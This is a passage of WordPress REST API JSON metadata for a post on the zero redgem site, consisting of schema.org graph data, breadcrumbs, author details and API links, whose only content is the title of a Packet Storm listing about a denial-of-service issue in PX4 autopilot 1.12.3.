redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-02T15:33:25+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=28310#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=28310"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=28310#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28310","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28310"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28310\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28310"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28310"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28310"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}